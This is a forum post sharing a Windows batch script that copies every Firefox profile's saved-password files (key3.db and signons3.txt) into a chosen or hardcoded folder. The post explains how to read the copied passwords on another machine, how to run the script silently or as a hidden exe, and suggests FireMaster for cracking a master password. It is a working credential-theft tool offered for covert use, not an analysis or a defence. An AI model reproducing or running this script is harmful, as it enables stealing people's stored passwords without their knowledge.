Jump to content

Ddes's firefox password file copier


Ddes

Recommended Posts

This is a simple batch script based on a tool by DingleBerries. The idea is that it copies the files necessary to view passwords in firefox, so you can view them on another machine.

How to use:

Run the batch file or exe. You have to pass it a path to put the files. From the command line, for example, you'd do "ddes_ff.bat C:\foldername\subdirectory". (See alt version for a hardcoded path.)

Create a new firefox profile on your machine. (Google, if you don't know how.)

Copy "key3.db" and "signon.txt" into the folder for that profile (eg. into hzt7v9e5.tmp - if you can't find the right folder, google.)

Start Firefox with that profile (again, google)

Go to preferences - security - saved passwords to view.

If there's a master password, try FireMaster.

If you want these to run silently (ie no black window), I'd recommend using HideConsole.exe from the PocketKnife.

Also, the free version of Quick Batch File Compiler can create a standalone .exe which does not display anything onscreen.

Batch script:

@ECHO OFF
for /f "delims=;" %%i in ('dir /B "%appdata%\Mozilla\Firefox\Profiles"') do (
  md "%1\%%i"
  copy "%appdata%\Mozilla\Firefox\Profiles\%%i\key3.db" "%1\%%i\key3.db"
  copy "%appdata%\Mozilla\Firefox\Profiles\%%i\signons3.txt" "%1\%%i\signons3.txt"
)

Alt version (hardcoded path):

@ECHO OFF
for /f "delims=;" %%i in ('dir /B "%appdata%\Mozilla\Firefox\Profiles"') do (
  md "C:\dumdir\%%i"
  copy "%appdata%\Mozilla\Firefox\Profiles\%%i\key3.db" "C:\dumdir\%%i\key3.db"
  copy "%appdata%\Mozilla\Firefox\Profiles\%%i\signons3.txt" "C:\dumdir\%%i\signons3.txt"
)

Note that this version does not require any additional parameters. You can just save it and run it and it will put the files in C:\dumpdir.

U3 version coming shortly.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...